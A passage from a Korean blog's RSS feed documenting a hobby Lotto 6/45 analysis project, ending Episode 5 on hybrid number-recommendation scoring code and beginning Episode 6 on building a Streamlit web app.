&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;1033&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JcWqv/dJMcacu3skE/SEcDRpKySyk79oeWu1srK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JcWqv/dJMcacu3skE/SEcDRpKySyk79oeWu1srK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JcWqv/dJMcacu3skE/SEcDRpKySyk79oeWu1srK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJcWqv%2FdJMcacu3skE%2FSEcDRpKySyk79oeWu1srK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;1033&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;1033&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 상위 10개 하이브리드 추천의 점수 분해(Score Breakdown)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;점수 구성:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;개별 번호 점수(Individual Number Scores)&lt;/b&gt;: 파란색&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패턴 보너스(Pattern Bonuses)&lt;/b&gt;: 주황색
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;연속 번호 보너스 (+10점)&lt;/li&gt;
&lt;li&gt;구간 균형 보너스 (+15점)&lt;/li&gt;
&lt;li&gt;홀짝 균형 보너스 (+10점)&lt;/li&gt;
&lt;li&gt;합계 범위 보너스 (+10점)&lt;/li&gt;
&lt;li&gt;그리드 패턴 보너스 (+최대 55점)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시: 1위 조합 [14, 15, 19, 25, 34, 39]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개별 점수 합: 352.8점&lt;/li&gt;
&lt;li&gt;패턴 보너스: 130.4점&lt;/li&gt;
&lt;li&gt;&lt;b&gt;총점: 483.2점&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  배운 점과 인사이트&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 다중 전략 통합 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 중복 제거 알고리즘:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;processing&quot;&gt;&lt;code&gt;# set을 사용한 효율적인 중복 제거
unique_combos = []
seen = set()

for combo in all_recommendations:
    # tuple로 변환하여 해시 가능하게
    key = tuple(sorted(combo))

    if key not in seen:
        unique_combos.append(combo)
        seen.add(key)

# 시간 복잡도: O(n) - set의 lookup은 O(1)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. Seed를 활용한 재현성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 동일한 결과 보장:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;monkey&quot;&gt;&lt;code&gt;def generate_hybrid(self, n_combinations=5, seed=None):
    if seed is not None:
        np.random.seed(seed)

    # 이제 같은 seed로 실행하면 항상 같은 결과&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 필요한가?&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테스트 가능성(Testability)&lt;/li&gt;
&lt;li&gt;디버깅 용이성&lt;/li&gt;
&lt;li&gt;결과 비교 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 검증 시스템(Validation System)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 2단계 검증:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;def _validate_combination(self, numbers, strict=False):
    &quot;&quot;&quot;조합 검증&quot;&quot;&quot;
    # 기본 검증
    if len(numbers) != 6:
        return False
    if len(set(numbers)) != 6:  # 중복 제거
        return False
    if any(n &amp;lt; 1 or n &amp;gt; 45 for n in numbers):
        return False

    # 엄격한 검증 (strict=True)
    if strict:
        # 한 구간에 5개 이상 제외
        low = sum(1 for n in numbers if 1 &amp;lt;= n &amp;lt;= 15)
        mid = sum(1 for n in numbers if 16 &amp;lt;= n &amp;lt;= 30)
        high = sum(1 for n in numbers if 31 &amp;lt;= n &amp;lt;= 45)
        if max(low, mid, high) &amp;gt;= 5:
            return False

        # 연속 4개 이상 제외
        consecutive_count = self._count_consecutive(numbers)
        if consecutive_count &amp;gt;= 4:
            return False

        # 극단적 홀짝 비율 제외 (0:6, 6:0)
        odd = sum(1 for n in numbers if n % 2 == 1)
        if odd == 0 or odd == 6:
            return False

    return True&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 점수 시스템 최적화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 보너스 시스템:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# 연속 번호 보너스
if has_consecutive:
    score += 10

# 구간 균형 보너스 (2-2-2 또는 유사)
if is_balanced_section:
    score += 15

# 홀짝 균형 보너스 (3:3 또는 4:2, 2:4)
if is_balanced_odd_even:
    score += 10

# 합계 범위 보너스 (평균 &amp;plusmn; 표준편차)
if is_sum_in_range:
    score += 10

# 그리드 패턴 보너스 (최대 55점)
grid_bonus = calculate_grid_pattern_bonus(numbers)
score += grid_bonus * 0.5  # 50% 가중치&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  다섯 번째 마일스톤 달성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v3.0, v4.0 작업 완료:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;7가지 추천 전략 구현&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;하이브리드 통합 시스템&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;중복 제거 알고리즘&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;2단계 검증 시스템&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;점수 시스템 최적화&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;Seed 기반 재현성&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;흥미로운 발견&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;하이브리드가 최고 점수&lt;/b&gt; (평균 475.3점)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;14번이 68% 추천&lt;/b&gt; (100개 조합 중)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패턴 보너스 평균 130점&lt;/b&gt; (개별 점수의 약 37%)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;무작위는 약 50점 낮음&lt;/b&gt; (425.8점)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중복 제거 후 약 25-30개&lt;/b&gt; (40개 &amp;rarr; 30개)&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  다음 에피소드 예고&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6편: &quot;브라우저에 피어난 분석&quot;&lt;/b&gt; - Streamlit으로 웹 앱 만들기&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편에서는:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Streamlit 웹 앱 구축&lt;/li&gt;
&lt;li&gt;9개 페이지 구조 설계&lt;/li&gt;
&lt;li&gt;Plotly 인터랙티브 차트&lt;/li&gt;
&lt;li&gt;캐싱 최적화&lt;/li&gt;
&lt;li&gt;배포 준비&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미리보기:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;# web_app.py
import streamlit as st

st.title(&quot;  로또 645 번호 추천&quot;)

strategy = st.selectbox(
    &quot;추천 전략 선택&quot;,
    [&quot;⭐ 하이브리드&quot;, &quot;  점수 기반&quot;, &quot;  확률 가중치&quot;,
     &quot;  패턴 기반&quot;, &quot;  그리드&quot;, &quot;  연속 번호&quot;, &quot;  무작위&quot;]
)

if st.button(&quot;추천 생성&quot;):
    recommendations = recommender.generate_hybrid(5)
    st.success(f&quot;추천 완료!&quot;)

    for i, combo in enumerate(recommendations, 1):
        st.write(f&quot;{i}. {combo}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/191&quot;&gt;4편 - 기계가 배우는 운의 법칙&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/189&quot;&gt;6편 - 브라우저에 피어난 분석&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;일곱 가지 길이 펼쳐졌다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수 기반, 확률 가중치, 패턴, 그리드, 연속 번호, 무작위... 각각의 장점을 모았다. 그리고 하이브리드로 통합했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;100개 조합을 생성하고 분석했다. 14번이 68%로 가장 많이 추천되었다. 모델 점수 66.1점과 일치하는 결과였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수 분해를 보니 패턴 보너스가 평균 130점이었다. 개별 점수의 37%나 되는 큰 비중이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하이브리드 전략이 평균 475.3점으로 최고였다. 무작위는 425.8점으로 약 50점 낮았다. 전략의 차이가 명확했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 모든 것을 웹 앱으로 만들 차례다. Streamlit으로 브라우저에서 실행 가능한 인터랙티브 앱을 만들자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일곱 가지 선택의 기로에서, 우리는 모든 길을 걸었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#추천시스템 #하이브리드전략 #다중전략통합 #중복제거 #검증시스템 #Seed재현성 #점수최적화 #패턴보너스 #NumPyRandom #알고리즘설계&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추천시스템, 하이브리드, 점수기반, 확률가중치, 패턴기반, 그리드패턴, 연속번호, 무작위, 중복제거, 검증시스템, 보너스점수, Seed, 재현성&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (5/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 97,205 tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 42,001 tokens (37% 사용 = 54%-17%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 5 작성 사용량: ~42,000 tokens (세션 재시작 포함)&lt;/li&gt;
&lt;li&gt;이미지 5개 생성 + 본문 580줄 작성 포함&lt;/li&gt;
&lt;li&gt;generate_episode5_images.py 스크립트 작성 및 디버깅 포함&lt;/li&gt;
&lt;li&gt;주간 4% (71%-67%)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>검증시스템</category>
      <category>그리드패턴</category>
      <category>무작위</category>
      <category>연속번호</category>
      <category>점수기반</category>
      <category>중복제거</category>
      <category>추천시스템</category>
      <category>패턴기반</category>
      <category>하이브리드</category>
      <category>확률가중치</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/190</guid>
      <comments>https://thepin.tistory.com/190#entry190comment</comments>
      <pubDate>Sun, 11 Jan 2026 12:08:29 +0900</pubDate>
    </item>
    <item>
      <title>Episode 6: 브라우저에 피어난 분석 (Browser-Based Analysis)</title>
      <link>https://thepin.tistory.com/189</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;h1&gt;Episode 6: 브라우저에 피어난 분석 (Browser-Based Analysis)&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;터미널의 숫자들이 웹으로 피어났다. Streamlit이라는 마법으로.&quot;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1564&quot; data-origin-height=&quot;696&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bukkxs/dJMcahQFu6a/O9R3ZE9VZ4KcwktACI2LYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bukkxs/dJMcahQFu6a/O9R3ZE9VZ4KcwktACI2LYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bukkxs/dJMcahQFu6a/O9R3ZE9VZ4KcwktACI2LYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbukkxs%2FdJMcahQFu6a%2FO9R3ZE9VZ4KcwktACI2LYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1564&quot; height=&quot;696&quot; data-origin-width=&quot;1564&quot; data-origin-height=&quot;696&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  이번 에피소드에서는&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI(Command Line Interface)에서 벗어나 &lt;b&gt;웹 브라우저&lt;/b&gt;에서 실행되는 &lt;b&gt;인터랙티브 분석 앱&lt;/b&gt;을 만들어봅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python 데이터 앱의 최강자 &lt;b&gt;Streamlit&lt;/b&gt;으로 9개 페이지 구조의 본격적인 웹 애플리케이션을 구축합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  목차&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#1-%EC%99%9C-streamlit%EC%9D%B8%EA%B0%80&quot;&gt;왜 Streamlit인가?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2-9%EA%B0%9C-%ED%8E%98%EC%9D%B4%EC%A7%80-%EA%B5%AC%EC%A1%B0-%EC%84%A4%EA%B3%84&quot;&gt;9개 페이지 구조 설계&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#3-plotly-%EC%9D%B8%ED%84%B0%EB%9E%99%ED%8B%B0%EB%B8%8C-%EC%B0%A8%ED%8A%B8&quot;&gt;Plotly 인터랙티브 차트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#4-%EC%BA%90%EC%8B%B1-%EC%B5%9C%EC%A0%81%ED%99%94&quot;&gt;캐싱 최적화&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#5-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B2%BD%ED%97%98-%EA%B0%9C%EC%84%A0&quot;&gt;사용자 경험 개선&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#6-%EC%A0%84%EC%B2%B4-%EC%BD%94%EB%93%9C-%EA%B5%AC%EC%A1%B0&quot;&gt;전체 코드 구조&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 왜 Streamlit인가?&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  데이터 앱의 최적 선택 (Optimal Choice for Data Apps)&lt;/h3&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;# Flask/Django로 데이터 앱을 만든다면...
@app.route('/analysis')
def analysis():
    # HTML 템플릿 작성
    # JavaScript 코드 작성
    # CSS 스타일링
    # AJAX 요청 처리
    # ... 수백 줄의 보일러플레이트 코드&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;# Streamlit으로는?
import streamlit as st

st.title(&quot;  데이터 분석&quot;)
df = load_data()
st.dataframe(df)
st.line_chart(df['value'])&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3줄로 끝!&lt;/b&gt; 이것이 Streamlit의 힘입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  빠른 프로토타이핑 (Rapid Prototyping)&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;프레임워크&lt;/th&gt;
&lt;th&gt;개발 시간&lt;/th&gt;
&lt;th&gt;HTML/CSS&lt;/th&gt;
&lt;th&gt;JavaScript&lt;/th&gt;
&lt;th&gt;배포 난이도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Streamlit&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;1일&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;td&gt;⭐ 매우 쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flask&lt;/td&gt;
&lt;td&gt;3-5일&lt;/td&gt;
&lt;td&gt;필요&lt;/td&gt;
&lt;td&gt;필요&lt;/td&gt;
&lt;td&gt;⭐⭐ 보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Django&lt;/td&gt;
&lt;td&gt;5-7일&lt;/td&gt;
&lt;td&gt;필요&lt;/td&gt;
&lt;td&gt;필요&lt;/td&gt;
&lt;td&gt;⭐⭐⭐ 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 장점 (Key Advantages):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ 순수 Python만으로 개발&lt;/li&gt;
&lt;li&gt;✅ 자동 리로드 (Hot Reload)&lt;/li&gt;
&lt;li&gt;✅ 내장 위젯 (Widgets)&lt;/li&gt;
&lt;li&gt;✅ 무료 클라우드 배포 (Free Cloud Deployment)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 9개 페이지 구조 설계 (9-Page Structure Design)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 페이지 개요 (Page Overview)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9WKTU/dJMcajnl2QD/NOVvTNJvWSpQKc1wko7Kk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9WKTU/dJMcajnl2QD/NOVvTNJvWSpQKc1wko7Kk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9WKTU/dJMcajnl2QD/NOVvTNJvWSpQKc1wko7Kk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9WKTU%2FdJMcajnl2QD%2FNOVvTNJvWSpQKc1wko7Kk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1183&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리의 웹 앱은 &lt;b&gt;9개 페이지&lt;/b&gt;로 구성됩니다:&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1️⃣   홈 (Home)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트 소개 (Project Introduction)&lt;/li&gt;
&lt;li&gt;데이터 요약 (Data Summary)&lt;/li&gt;
&lt;li&gt;최근 10회 당첨번호 (Recent 10 Winning Numbers)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def home_page(loader):
    st.title(&quot;  로또 645 데이터 분석&quot;)

    # 메트릭 카드 (Metric Cards)
    col1, col2, col3 = st.columns(3)
    with col1:
        st.metric(&quot;총 회차 (Total Rounds)&quot;, &quot;1,205회&quot;)
    with col2:
        st.metric(&quot;평균 당첨금 (Avg Prize)&quot;, &quot;23.3억원&quot;)
    with col3:
        st.metric(&quot;최다 출현 번호 (Top Number)&quot;, &quot;12번&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2️⃣   데이터 탐색 (Data Exploration)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;기본 통계 탭 (Basic Stats Tab)&lt;/b&gt;: 번호 빈도, 구간 분포, 홀짝 비율&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시계열 분석 탭 (Time Series Tab)&lt;/b&gt;: 핫넘버, 콜드넘버, 미출현 기간&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패턴 분석 탭 (Pattern Tab)&lt;/b&gt;: 연속 번호, AC값, 구간 패턴&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;tab1, tab2, tab3 = st.tabs([
    &quot;  기본 통계 (Basic Stats)&quot;,
    &quot;  시계열 (Time Series)&quot;,
    &quot;  패턴 (Patterns)&quot;
])

with tab1:
    # Plotly 인터랙티브 차트
    fig = px.bar(freq_df, x='number', y='count',
                 title='Number Frequency')
    st.plotly_chart(fig, use_container_width=True)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3️⃣   번호 추천 (Number Recommendations)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;7가지 전략 선택 (7 Strategies Selection)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;추천 개수 조절 (Slider: 1-10개)&lt;/li&gt;
&lt;li&gt;시각적 번호 카드 (Visual Number Cards)&lt;/li&gt;
&lt;li&gt;통계 요약 (Stats Summary)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;strategy = st.selectbox(&quot;추천 전략 (Strategy)&quot;, [
    &quot;⭐ 하이브리드 (Hybrid)&quot;,
    &quot;  점수 기반 (Score-based)&quot;,
    &quot;  확률 가중치 (Probability)&quot;,
    &quot;  패턴 기반 (Pattern-based)&quot;,
    &quot;  그리드 패턴 (Grid Pattern)&quot;,
    &quot;  연속 번호 (Consecutive)&quot;,
    &quot;  무작위 (Random)&quot;
])

if st.button(&quot;  번호 생성 (Generate)&quot;, type=&quot;primary&quot;):
    recommendations = recommender.generate_hybrid(5)
    display_number_cards(recommendations)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4️⃣   번호 분석 (Number Analysis)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1-45 중 번호 선택 (Number Selector)&lt;/li&gt;
&lt;li&gt;출현 통계 (Appearance Stats)&lt;/li&gt;
&lt;li&gt;점수 분해 차트 (Score Breakdown Chart)&lt;/li&gt;
&lt;li&gt;동반 출현 번호 (Co-occurrence Numbers)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5️⃣   예측 모델 (Prediction Model)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모델 설명 (Model Explanation)&lt;/li&gt;
&lt;li&gt;상위 20개 번호 (Top 20 Numbers)&lt;/li&gt;
&lt;li&gt;패턴 통계 (Pattern Statistics)&lt;/li&gt;
&lt;li&gt;점수 계산 로직 (Score Calculation Logic)&lt;/li&gt;
&lt;/ul&gt;
